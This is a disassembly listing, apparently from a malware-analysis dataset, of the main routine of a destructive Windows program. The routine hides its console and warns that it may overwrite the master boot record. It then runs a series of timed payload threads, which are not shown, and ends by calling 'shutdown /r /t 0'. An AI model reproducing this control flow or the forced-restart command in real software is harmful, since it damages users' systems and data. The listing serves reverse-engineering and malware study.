Function at 0x402c90
Capabilities:
Create thread
Execute command
Hide graphical window
Terminate process
Terminate thread

Disassembly:
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push 0x34
push str.MALWARE_WARNING___
push str.Warning____r_nThis_software_is_not_recommended_to_run_this_on_your_real_machine_r_nBecause_this_software_is_not_safe_to_run_to_your_real_computer__also_r_nit_can_damage_your_system_and_overwrite_your_bootloader_or_MBR_r_n_Master_boot_record__to_make_your_computer_unusable_and_to_mulfunction._r_nMBR_or_Master_Boot_Record_is_important_file_to_boot_up_your_computer__r_nif_you_overwrite_or_format_it__your_computer_will_be_unusable__and_r_nit_will_dont_bootable_again
push 0
call esi
cmp eax, 7
je 0x402f3a
push 0x34
push str.THIS_IS_YOUR_LAST_WARNING___
push str.__________LAST_WARNING___________r_nTHE_CREATORS_ARE_WILL_BE_NOT_RESPONSIBLE_FOR_ANY_DAMAGES___
push 0
call esi
cmp eax, 7
je 0x402f3a
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4013b0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401410
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401430
push 0
push 0
call ebx
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x401650
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3a98
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x4018d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401b90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x401e50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402110
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402400
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402650
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
push 0x4028b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x402af0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
push 0
push 0
call edi
push str.C:WindowsSystem32_shutdown__r__t_0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]